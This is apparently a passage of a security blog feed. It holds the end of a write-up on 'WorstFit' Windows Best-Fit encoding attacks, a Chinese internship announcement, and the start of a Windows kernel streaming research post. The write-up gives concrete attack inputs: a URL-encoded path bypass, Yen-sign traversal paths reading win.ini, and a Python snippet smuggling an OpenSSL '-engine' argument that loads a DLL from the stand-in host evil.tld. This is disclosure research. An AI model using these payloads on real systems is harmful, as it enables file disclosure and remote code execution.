class="language-plaintext highlighter-rouge">/cgi.pl/admin</code> from the web server, instead of the CGI itself. For example, in an Apache setup, they might add the following rule to deny access:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Directory</span><span class="sr"> "/var/www/cgi-bin"</span><span class="p">&gt; </span> <span class="p">&lt;</span><span class="nl">If</span><span class="sr"> "%{REQUEST_URI} =~ m#/admin#"</span><span class="p">&gt; </span> <span class="nc">Require</span> <span class="ss">all</span> denied <span class="p">&lt;/</span><span class="nl">If</span><span class="p">&gt; &lt;/</span><span class="nl">Directory</span><span class="p">&gt; </span></code></pre></div></div> <p>However, due to the <strong>WorstFit vulnerability</strong> in Perl on Windows, this rule can be bypassed by substituting characters in <code class="language-plaintext highlighter-rouge">admin</code> with their <strong>Best-Fit equivalents</strong>. For instance, in <strong>Code Page 1250</strong>, the character <code class="language-plaintext highlighter-rouge">à</code> (<code class="language-plaintext highlighter-rouge">U+00E0</code>) is converted to <code class="language-plaintext highlighter-rouge">a</code> during the ANSI conversion.</p> <p>By crafting a URL like <code class="language-plaintext highlighter-rouge">/cgi.pl/%E0dmin</code>, an attacker can bypass the Nginx rule, as the server interprets it as a different path, but Perl’s CGI script retrieves the <code class="language-plaintext highlighter-rouge">PATH_INFO</code> environment variable with ANSI API, and processes it as <code class="language-plaintext highlighter-rouge">/admin</code> after the Best-Fit conversion.</p> <h4 id="-case-study-2---php-cgi-local-file-inclusion-lfi">➤ Case study 2 - PHP-CGI Local File Inclusion (LFI)</h4> <p>The previous example was hypothetical, but here’s a real-world case we discovered. In <strong>PHP-CGI on Windows</strong>, we identified a file existence check oracle and even a potential LFI (Local File Inclusion) vulnerability under certain configurations.</p> <p>The root cause lies in how <code class="language-plaintext highlighter-rouge">PATH_INFO</code> — and other path-related environment variables — are handled. Let’s break it down:</p> <p>Imagine a request URI like this: <code class="language-plaintext highlighter-rouge">http://victim.tld/index.php/foo/bar</code></p> <p>After the web server (e.g., IIS, Apache, or another PHP-CGI-compatible server) processes it, it generates several environment variables. Depending on the server, these might look like this in Apache:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">REDIRECT_URL</span><span class="o">=</span>/index.php/foo/bar <span class="nv">REQUEST_URI</span><span class="o">=</span>/index.php/foo/bar <span class="nv">PATH_INFO</span><span class="o">=</span>/index.php/foo/bar <span class="nv">PATH_TRANSLATED</span><span class="o">=</span>C:<span class="se">\i</span>netpub<span class="se">\w</span>wwroot<span class="se">\i</span>ndex.php<span class="se">\f</span>oo<span class="se">\b</span>ar </code></pre></div></div> <p>Notice how the PHP script filename (<code class="language-plaintext highlighter-rouge">index.php</code>) and the additional path (<code class="language-plaintext highlighter-rouge">foo/bar</code>) are combined. From the environment variables alone, it’s unclear which part represents the PHP file and which is additional <code class="language-plaintext highlighter-rouge">PATH_INFO</code>. Resolving this ambiguity is left to <code class="language-plaintext highlighter-rouge">php-cgi.exe</code>. Hmm, it must be quite easy to make <code class="language-plaintext highlighter-rouge">php-cgi</code> confused right?</p> <p>The first thought might be to try something like <code class="language-plaintext highlighter-rouge">http://victim.tld/index.php/../../../secret.txt</code>. But this apparently won’t work, as the web server normalizes and validates paths before passing them to PHP-CGI. So, how can we bypass this?</p> <p>As we knew in the <strong>Filename Smuggling</strong> section, the Yen sign (<code class="language-plaintext highlighter-rouge">¥</code>) in the Japanese code page can be exploited. For example, by sending a request like <code class="language-plaintext highlighter-rouge">/index.php/..¥..¥windows/win.ini/foo</code>, you can potentially access arbitrary files. Here’s how it works:</p> <ul> <li><strong>Web Server’s Perspective</strong>: The server treats the entire <code class="language-plaintext highlighter-rouge">/..¥..¥windows/win.ini/foo</code> as additional <code class="language-plaintext highlighter-rouge">PATH_INFO</code> and processes it as part of the request.</li> <li><strong>PHP-CGI’s Perspective</strong>: PHP-CGI receives things like <code class="language-plaintext highlighter-rouge">REQUEST_URI=/index.php/..\..\windows/win.ini/foo</code> and struggles to differentiate between the actual PHP file (<code class="language-plaintext highlighter-rouge">index.php</code>) and the <code class="language-plaintext highlighter-rouge">PATH_INFO</code> portion. This confusion allows the exploit to manipulate the behavior and access files beyond intended restrictions.</li> </ul> <p>This mismatch between how components interpret the request opens the door to potential vulnerabilities. Depending on the web server’s behavior and configuration, this can turn into a file existence oracle on <strong>Apache</strong>:</p> <ul> <li><strong>Non-existing file</strong>: For a request like <code class="language-plaintext highlighter-rouge">/index.php/..¥..¥NONEXIST/</code>, PHP-CGI treats <code class="language-plaintext highlighter-rouge">/..¥..¥NONEXIST/</code> as additional <code class="language-plaintext highlighter-rouge">PATH_INFO</code> and renders <code class="language-plaintext highlighter-rouge">/index.php</code> as usual.</li> <li><strong>Existing file</strong>: For a request like <code class="language-plaintext highlighter-rouge">/index.php/..¥..¥windows/win.ini/</code>, PHP-CGI fails and produces a <code class="language-plaintext highlighter-rouge">No input file specified</code> error due to how it handles valid files internally.</li> </ul> <p>But why stop at just checking file existence? On an <strong>IIS server</strong> with the <code class="language-plaintext highlighter-rouge">doc_root</code> directive configured, this can lead to <strong>Local File Inclusion (LFI)</strong>. Using a path like <code class="language-plaintext highlighter-rouge">/index.php/..¥..¥..¥windows/win.ini/</code>, you can effectively include and read arbitrary files, such as <code class="language-plaintext highlighter-rouge">C:\Windows\win.ini</code>.</p> <p><img src="/assets/img/blog/20250109/14.png" alt="" /></p> <p>As an LFI vulnerability, this can surely escalate to a potential <strong>Remote Code Execution (RCE)</strong> in scenarios where the included file contains executable or user-controllable code.</p> <blockquote> <p><strong>Note</strong>: This specific scenario is rare in real-world applications, so we classify it more as a bug rather than a vulnerability.</p> </blockquote> <p><br /></p> <h2 id="the-duskor-dawnof-the-worstfit">The Dusk–or Dawn–of the WorstFit</h2> <p>As mentioned earlier, we have identified several issues across programming languages, open-source projects, and Windows built-in command-line programs. As responsible researchers, we promptly reported these issues to their respective upstream maintainers. However, this process was quite challenging, the most debated topic is revolved around the <strong>Argument Splitting</strong>, and this section highlights some obstacles we encountered during the reporting process.</p> <h4 id="-is-this-an-issue">🧐 <strong>Is this an issue?</strong></h4> <p>This was the most common question raised by vendors. Those in opposition argued that “passing user inputs to the command line in itself is already a vulnerability”. Even they are properly escaped or have sanitization in place, the root of the problem is still that “developers should avoid such practices altogether”.</p> <p>I am not sure if it’s fair to shift all the responsibility onto developers. Firstly, the operating system itself is already a scenario that highly requires user inputs. Additionally, with the increasing complexity of web applications, it is really difficult to completely eliminate user input.</p> <h4 id="-who-is-responsible-for-that">🧐 <strong>Who is responsible for that?</strong></h4> <p>Even if we both agree that this is an issue, the next much challenging question is: “Who is responsible for it?” Since the problematic code is embedded automatically during compilation (the compiler attaches the entry <code class="language-plaintext highlighter-rouge">mainCRTStartup()</code>, which calls the ANSI API within MSVCRT/UCRT), the responsibility becomes unclear. Is it because <strong>“the developer failed to use the correct <code class="language-plaintext highlighter-rouge">wmain()</code>”</strong>, or is it <strong>“CRT’s failure for not splitting the command line well and pass the wrong argument to <code class="language-plaintext highlighter-rouge">main()</code>”</strong>?</p> <p>To make things even more confusing, some projects only provide source code, leaving the prebuilt executable files distributed to be handled by third-party volunteers across the Internet. In such cases, who should be held accountable for the issue? Taking it a step further, could this even be considered a case of <a href="https://en.wikipedia.org/wiki/Backdoor_(computing)#Compiler_backdoors">compiler-introduced security vulnerabilities</a>? 😉</p> <h4 id="-its-really-hard-to-fix-it">😖 <strong>It’s really hard to fix it!</strong></h4> <p>I believe most maintainers would be willing to help with a quick fix, even if it wasn’t categorized as a security issue. However, resolving this problem isn’t that as simple as just replacing the <strong><code class="language-plaintext highlighter-rouge">main()</code></strong> with its wide-character counterpart. Since the function signature has been changed, maintainers would need to rewrite all variable definitions and argument parsing logics, converting everything from simple <strong><code class="language-plaintext highlighter-rouge">char *</code></strong> to <strong><code class="language-plaintext highlighter-rouge">wchar_t *</code></strong>. This process can be painful and error-prone. 😵‍💫</p> <p>We have also summarized some responses we received as follows:</p> <h4 id="-curl">➤ Curl</h4> <p>Curl said that this is a Windows feature and there are no plans to fix it. Interestingly, Microsoft’s <a href="https://curl.se/windows/microsoft.html">ported Curl</a> has properly modified the entry to <code class="language-plaintext highlighter-rouge">wmain()</code> on the contrary, so the built-in <code class="language-plaintext highlighter-rouge">curl.exe</code> on Windows is not impacted, only the binaries delivered by official Curl are affected by the Argument Splitting attack.</p> <p>Here are some responses from Curl. You can check the full report on <a href="https://hackerone.com/reports/2550951">HackerOne</a>.</p> <blockquote> <p>I’m struggling to see how this is a curl problem. It looks like a Windows “feature” to me. It is being “helpful” and helps users to convert ascii-looking double quotes to ASCII double quotes.</p> <p>— 👤 Author of Curl</p> </blockquote> <blockquote> <p>If we can mitigate this we should probably consider that, but it is a hard problem and it certainly is not going to be solved in the short term. curl is a victim here, not the responsible party.</p> <p>— 👤 Author of Curl</p> </blockquote> <h4 id="-openssl">➤ OpenSSL</h4> <p>This is an interesting case. OpenSSL provides an environment variable, <code class="language-plaintext highlighter-rouge">OPENSSL_WIN32_UTF8</code>, to handle arguments in Wide Character format. Although its original purpose was to correct issues with displaying UTF-8 in the UI, it also mitigates the Argument Splitting attack unintentionally!</p> <p>However, most developers are still unaware of the need to set this environment variable while using the <code class="language-plaintext highlighter-rouge">openssl.exe</code> executable. As a result,it is still possible to leverage the <code class="language-plaintext highlighter-rouge">-engine</code> argument to execute arbitrary code in a default OpenSSL usage.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">passphrase</span> <span class="o">=</span> <span class="s">"pass</span><span class="se">\uFF02</span><span class="s"> </span><span class="se">\uFF02</span><span class="s">-engine</span><span class="se">\uFF02</span><span class="s"> </span><span class="se">\uFF02\\\\</span><span class="s">evil.tld</span><span class="se">\\</span><span class="s">malicious.dll"</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span> <span class="s">'openssl.exe'</span><span class="p">,</span> <span class="s">"enc"</span><span class="p">,</span> <span class="s">"-aes-256-cbc"</span><span class="p">,</span> <span class="s">"-in"</span><span class="p">,</span> <span class="s">"in.txt"</span><span class="p">,</span> <span class="s">"-out"</span><span class="p">,</span> <span class="s">"out.txt"</span><span class="p">,</span> <span class="s">"-k"</span><span class="p">,</span> <span class="n">passphrase</span> <span class="p">])</span> </code></pre></div></div> <h4 id="-perl">➤ Perl</h4> <p>The official Perl did not provide prebuilt executables for Windows. Instead, third-party installers such as <a href="https://strawberryperl.com/">Strawberry Perl</a> or <a href="https://www.activestate.com/products/perl/">ActiveState Perl</a> are commonly used, and both of which are affected by the Argument Splitting attack. After having a discuss with the Perl maintainer, they concluded that <strong>“This seems more like a Microsoft bug than a Perl bug,”</strong> so this issue remains unresolved in Perl for now.</p> <h4 id="-microsoft">➤ Microsoft</h4> <p>We reported three cases to MSRC in total, but the communication process did not go well. All cases were initially rejected for not meeting their severity criteria. We re-opened the case several times and the Excel case was eventually accepted after our third attempt, while the other cases remain unresolved for today :(</p> <p>Here is the reply:</p> <blockquote> <p>The attack scenario here depends on a vulnerability in an unrelated application. The trick inherently requires a separate application that inserts untrusted input into a command line which is then executed. That in itself is a vulnerability; however, the technique which makes exploiting the issue possible does not qualify as a vulnerability. — 👤 MSRC</p> </blockquote> <h4 id="-report-to-certcc">➤ Report to CERT/CC</h4> <p>Since this is a systemic problem, we have also sought assistance from CERT/CC, hoping to coordinate and collaborate in an effort to find a better solution to address this issue. Microsoft eventually added one more <a href="https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getcommandlinea#security-remarks">warning</a> in their documentation after several months of effort. However, they only put this warning in the <code class="language-plaintext highlighter-rouge">GetCommandLineA</code>. There are still several ANSI APIs that need attention! ¯\_(ツ)_/¯</p> <p>During the process of the vulnerability disclosure, we also investigated the open-source ecosystem to identify more affected applications, and tried to report them to their maintainers. Here is a list of what we have reported so far:</p> <table> <thead> <tr> <th>Report Date</th> <th style="text-align: left">Vendor</th> <th style="text-align: left">Status</th> </tr> </thead> <tbody> <tr> <td>2024/05/07</td> <td style="text-align: left">PHP - <code class="language-plaintext highlighter-rouge">php-cgi.exe</code></td> <td style="text-align: left"><a href="https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv">CVE-2024-4577</a></td> </tr> <tr> <td>2024/06/13</td> <td style="text-align: left">Curl - <a href="https://curl.se/windows/">Official Build</a></td> <td style="text-align: left"><a href="https://hackerone.com/reports/2550951">Won’t Fix</a></td> </tr> <tr> <td>2024/06/13</td> <td style="text-align: left">Apache Subversion - <code class="language-plaintext highlighter-rouge">svn.exe</code></td> <td style="text-align: left"><a href="https://nvd.nist.gov/vuln/detail/cve-2024-45720">CVE-2024-45720</a></td> </tr> <tr> <td>2024/06/16</td> <td style="text-align: left">Microsoft Tar - <code class="language-plaintext highlighter-rouge">tar.exe</code></td> <td style="text-align: left">Won’t Fix</td> </tr> <tr> <td>2024/06/19</td> <td style="text-align: left">Microsoft Excel - <code class="language-plaintext highlighter-rouge">excel.exe</code></td> <td style="text-align: left"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49026">CVE-2024-49026</a></td> </tr> <tr> <td>2024/06/19</td> <td style="text-align: left">Microsoft PhoneBook - <code class="language-plaintext highlighter-rouge">rasphone.exe</code></td> <td style="text-align: left">Won’t Fix</td> </tr> <tr> <td>2024/06/19</td> <td style="text-align: left">Oracle Java - <code class="language-plaintext highlighter-rouge">java.exe</code></td> <td style="text-align: left">Pending Fix</td> </tr> <tr> <td>2024/06/19</td> <td style="text-align: left">Perl - <code class="language-plaintext highlighter-rouge">perl.exe</code></td> <td style="text-align: left">Won’t Fix</td> </tr> <tr> <td>2024/07/15</td> <td style="text-align: left">Perforce - <code class="language-plaintext highlighter-rouge">p4.exe</code></td> <td style="text-align: left"><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-8067">CVE-2024-8067</a></td> </tr> <tr> <td>2024/08/05</td> <td style="text-align: left">PostgreSQL - <code class="language-plaintext highlighter-rouge">psql.exe</code></td> <td style="text-align: left">Won’t Fix</td> </tr> <tr> <td>2024/08/08</td> <td style="text-align: left">Putty - <code class="language-plaintext highlighter-rouge">plink.exe</code></td> <td style="text-align: left">Fixed</td> </tr> <tr> <td>2024/08/19</td> <td style="text-align: left">OpenSSL - <code class="language-plaintext highlighter-rouge">openssl.exe</code></td> <td style="text-align: left">Other</td> </tr> <tr> <td>2024/08/19</td> <td style="text-align: left">wkhtmltopdf - <code class="language-plaintext highlighter-rouge">wkhtmltopdf.exe</code></td> <td style="text-align: left">EOL</td> </tr> <tr> <td>2024/08/19</td> <td style="text-align: left">GNU Wget</td> <td style="text-align: left">No Reply</td> </tr> </tbody> </table> <p><br /></p> <h2 id="epilogue">Epilogue</h2> <p>So far, we have summarized attacks on WorstFit, including <strong>Filename Smuggling</strong>, <strong>Argument Splitting</strong>, and <strong>Environment Variable Confusion</strong>. Each attack has its applicable Code Pages. You can check the following table to see if you are at risk or not.</p> <p><em>↓ Table of Affected Code Pages:</em> <img src="/assets/img/blog/20250109/15.png" alt="" /></p> <p><em>↓ World Map of WorstFit:</em> <img src="/assets/img/blog/20250109/16.png" alt="" /></p> <h3 id="mitigations">Mitigations</h3> <p>As for how to mitigate such attacks, unfortunately, since this is an operating system-level problem, similar issues will continue to reappear — until Microsoft chooses to enable UTF-8 by default in all of their Windows editions. Before that, the only thing we can do is to encourage everyone, the users, organizations, and developers, to gradually phase out ANSI and promote the use of the Wide Character API, transiting the environment to a safer world step by step!</p> <p><strong>As a user</strong>, the only thing you can do is to check the UTF-8 option on your Windows. However, since this feature is still in the BETA phase, it’s uncertain whether it will cause side effects or not.</p> <p><img src="/assets/img/blog/20250109/17.png" alt="" /></p> <p><strong>As a developer</strong>, please use the Wide Character API as much as possible. As well as the C Runtime Library, they also provide the wide character versions, such as <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/getcwd-wgetcwd?view=msvc-170"><code class="language-plaintext highlighter-rouge">_wgetcwd</code></a> and <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/getenv-wgetenv?view=msvc-170"><code class="language-plaintext highlighter-rouge">_wgetenv</code></a>. Otherwise, the underlying implementation can still call the ANSI API, which is vulnerable to our WorstFit attacks, too!</p> <h3 id="conclusion">Conclusion</h3> <p>We hope this article provides you with an overview and enough insights to understand WorstFit Attack. Of course, this is not the end. Considering Windows’ commitment towards backward compatibility, you can imagine there are more hidden places the ANSI API would appear, for example, the Windows Registry queries like <code class="language-plaintext highlighter-rouge">RegQueryValueA</code> are definitely affected but need to find a vulnerable scenario, and we also observed Best-Fit behavior in Active Directory! 😉</p> <p>We encourage more researchers to explore this attack surface and look forward to see more vulnerabilities in the future!</p> https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/ https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi Thu, 09 Jan 2025 00:00:00 +0800 DEVCORE 2025 第七屆實習生計畫 <p>DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,亦於 2022 年初舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期。</p> <p>我們很榮幸地宣佈,第七屆實習生計畫將於 2025 三月登場,即日起正式開放報名!為了讓同學們有更充裕的準備時間並獲得更好的實習體驗,本屆在時程上做了一些調整:</p> <ul> <li>延長報名時間,並採取更彈性的申請方式,讓同學能充分展現自身實力</li> <li>提早公布結果,讓同學更靈活地規劃後續行程</li> </ul> <p>此外,我們也延續了上一屆的分組方式,讓同學們能根據興趣與專長選擇合適的組別:</p> <ul> <li>Research 組:適合對漏洞研究有興趣、想挖掘真實漏洞的同學</li> <li>Red Team 組:適合對紅隊技術有興趣、想精進滲透技巧的同學</li> </ul> <p>若您期待加入我們、精進資安技能,煩請詳閱下列資訊後填寫表單報名!</p> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Research 及 Red Team 兩個組別,主要內容如下:</p> <ul> <li>Research (Binary/Web) 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 60 %</li> <li>1-day 開發 (Exploitation) 30 %</li> <li>成果報告與準備 10 %</li> </ul> </li> <li>Red Team 研究並深入學習紅隊常用技巧,熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。 <ul> <li>漏洞與技巧的研究及深入學習 70 %</li> <li>Lab 建置或 Bug Bounty 或漏洞挖掘 30 %</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2025 年 3 月初到 2025 年 7 月底,共 5 個月</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>其中一天 14:00 - 18:00 必須到公司同步進度,其餘時間為遠端作業</li> <li>如果居住雙北外可彈性調整同步方式,但須每個組別統一</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <ul> <li>具有一定程度資安背景的學生,且可每週工作兩天</li> <li>無其他招募限制,歷屆實習生可重複應徵</li> </ul> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Research 組:2~3 人</li> <li>Red Team 組:2~3 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 18,000 元(另補助部分交通費)</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="research-binaryweb">Research (Binary/Web)</h4> <ul> <li>基本漏洞利用及挖掘能力</li> <li>具備研究熱誠,習慣了解技術本質</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備獨立分析開放原始碼專案的能力,能透過分析程式碼理解目標專案的架構</li> <li>熟悉並理解常見的漏洞成因 <ul> <li>OWASP Web Top 10</li> <li>Memory Corruption</li> <li>Race Condition</li> <li>…</li> </ul> </li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>有公開的技術 blog/slide、write-ups 或是演講</li> <li>精通 IDA Pro 或 Ghidra</li> <li>熟悉任一種網頁程式語言或框架(如:PHP、ASP.NET、Express.js),具備可以建立完整網頁服務的能力</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中的安全議題</li> <li>獨立挖掘過 0-day 漏洞,或分析過 1-day 的經驗</li> <li>具備下列其中之一經驗 <ul> <li>Web Application Exploit</li> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="red-team">Red Team</h4> <ul> <li>必要條件 <ul> <li>熟悉 OWASP Web Top 10</li> <li>理解 <a href="https://portswigger.net/web-security/all-materials">PortSwigger Web Security Academy</a> 中所有的安全議題或已完成所有 Lab</li> <li>理解計算機網路的基本概念</li> <li>熟悉任一種網頁程式開發方式(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題</li> <li>具備可以建置、設定常見伺服器(如:Nginx、Apache、Tomcat、IIS、Active Directory)及作業系統(如:Linux、Windows)的能力</li> </ul> </li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day Exploit</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目</li> <li>擁有 OSCP 證照或同等能力之證照</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為二個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>履歷內容</li> <li>簡答題答案 <ul> <li>應徵 Research 實習生: <ul> <li>題目一:漏洞重現與分析過程 <ul> <li>請提出一個,你印象最深刻或感到有趣、於西元 2022 ~ 2025 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時,嘗試描述如何復現此漏洞或攻擊鏈,即使無法成功復現,也請記錄研究過程。報告撰寫請參考<a href="/assets/files/recruit/DEVCORE-intern_vulnerability_analysis_example.pdf">範本</a>,盡可能詳細,中英不限。</li> </ul> </li> <li>題目二:實習期間想要研究的主題 <ul> <li>請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如: <ul> <li>研究◯◯開源軟體,找到可 RCE 的重大風險弱點。</li> <li>研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。</li> <li>研究常見的筆記平台或軟體,目標包括:XX Note、YY Note。</li> </ul> </li> </ul> </li> </ul> </li> <li>應徵 Red Team 實習生: <ul> <li>請提出兩個於西元 2022 ~ 2025 年間公開的、與 Web 攻擊面、紅隊手法、漏洞或攻擊鏈相關的技術演講,請說明為什麼挑選這些演講並解釋它們為什麼有趣。 <ul> <li>請用你的理解重新以文字詳細解釋這些演講的技術細節,整理成一份 Write-up 以 PDF 格式輸出,並提供任何你覺得可以輔助或證明你理解的附加資料。</li> <li>這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、ZeroConf、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。</li> </ul> </li> </ul> </li> </ul> </li> </ul> <h4 id="第二階段面試">第二階段:面試</h4> <p>此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h4 id="時間軸">時間軸</h4> <ul> <li>2024/12/02 - 2025/01/05 公開招募,接收履歷與第一階段審核</li> <li>2025/01/06 - 2025/01/23 第二階段面試(若報名踴躍會提前開始面試)</li> <li>2025/01/24 前回應結果</li> <li>2025/03/03 第七屆實習計畫於當週開始</li> </ul> <h3 id="報名方式">報名方式</h3> <p>為了讓有意參加實習計畫的同學有更多時間準備,我們這次嘗試使用 Google 表單作為報名平台。您可以透過填寫表單進行報名,且在截止時間 <strong>2025/01/05 23:59</strong> 以前,您可以隨時編輯已提交的表單,或是重新填寫一份新的表單來更新報名資訊。請注意,我們會以<strong>最後一次</strong>提交的表單內容作為審核依據。</p> <p>請於 <strong>2025/01/05 23:59</strong> 前完成填寫 <a href="https://forms.gle/CWW7aeebXXVt3kjv6">Google 表單</a>並上傳相關附件。以下為填寫表單的注意事項:</p> <ul> <li>檔案經上傳後無法刪除或修改,欲更新檔案請重新填寫一份表單</li> <li>請務必於<strong>截止時間(2025/01/06 23:59)</strong> 前完成所有表單填寫與檔案上傳,逾期未完成者將視同放棄應徵資格</li> </ul> <p>報名截止後,我們會根據您提交的報名內容進行第一階段審核。審核結果將於 <strong>2025/01/13</strong> 前通知,並安排進一步的面試。最終錄取名單將於 <strong>2025/01/24</strong> 公佈,我們也會同步通知錄取情況。</p> <p>若有應徵相關問題,請一律寄信到 [email protected],如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2024/12/02/7th-internship-program-recruit/ https://devco.re/blog/2024/12/02/7th-internship-program-recruit Mon, 02 Dec 2024 00:00:00 +0800 Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part II <p><a href="/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2-en/">English Version</a>, <a href="/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2/">中文版本</a></p> <p>這是一系列有關 Kernel Streaming 的相關的漏洞研究,建議先閱讀以下文章</p> <ul> <li><a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/">Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I</a></li> </ul> <p>在先前 Proxying to Kernel 的研究中,我們在 Kernel Streaming 中找到了多個漏洞以及一個被忽視的 Bug Class,並在今年 Pwn2Own Vancouver 2024 中利用漏洞 <a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/#cve-2024-35250">CVE-2024-35250</a> 及 <a href="https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/#cve-2024-30084">CVE-2024-30084</a> 成功攻下 Windows 11。</p> <p>而在這篇研究中,我們將繼續延續這個攻擊面和這個 Bug Class,也將揭露另外一個漏洞和利用手法,亦發表於 <a href="https://www.hexacon.fr/conference/speakers/">HEXACON 2024</a> 中。</p> <hr /> <p>在 Pwn2Own Vancouver 2024 之後,我們繼續針對 <code class="language-plaintext highlighter-rouge">ks!KsSynchronousIoControlDevice</code> 這個 bug pattern 去看看有沒有其他安全性上的問題,然而找了一段時間後,針對 KS Object 的 Property 操作中,並沒有找到其他可以利用的點,因而我們將方向轉往另外一個功能 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ks-events">KS Event</a> 上。</p> <h2 id="ks-event">KS Event</h2> <p>KS Event 與前一篇提到的 KS Property 類似。KS Object 中除了有自己的 Property Set 之外,也有提供設定 KS Event 的功能,比如說你可以設定設備狀態改變或是每個一段時間就觸發 Event,方便播放軟體等開發者定義後續的行為,而每個 KS Event 就如同 Property 一樣,要使用就必須該 KS Object 有支援。我們可以透過 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_enable_event">IOCTL_KS_ENABLE_EVENT</a> 及 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_disable_event">IOCTL_KS_DISABLE_EVENT</a> 來註冊或關閉這些 Event。</p> <h3 id="kseventdata">KSEVENTDATA</h3> <p>而在註冊 KS Event 時,你可以藉由提供 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ns-ks-kseventdata">KSEVENTDATA</a> 來註冊你想要的事件,其中可以提供 EVENT_HANDLE 及 SEMAPHORE_HANDLE 等 handle 來註冊,當 KS 觸發這個事件時,就會藉由這個 handle 來通知你。</p> <h3 id="the-work-flow-of-ioctl_ks_enable_event">The work flow of IOCTL_KS_ENABLE_EVENT</h3> <p>其整個運作流程也與 IOCTL_KS_PROPERTY 雷同,在呼叫 DeviceIoControl 時,就會像下圖一樣,將使用者的 requests 依序給相對應的 driver 來處理</p> <p><img src="/assets/img/blog/20241005/1.png" alt="" /></p> <p>同樣會在第 3 步時做 32-bit 的 requests 轉換成 64-bit 的 requests。到第 6 步時 ks.sys 就會根據你 requests 的 Event 來決定要交給哪個 driver 及 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/nc-ks-pfnksaddevent">addhandler</a> 來處理你的 request。</p> <p><img src="/assets/img/blog/20241005/2.png" alt="" /></p> <p>最終再轉發給相對應的 Driver。如上圖中最後轉發給 ks 中的 KsiDefaultClockAddMarkEvent 來<a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-kesettimerex">設置 Timer</a>。</p> <p>在了解了 KS Event 功能及流程後,根據之前的 <a 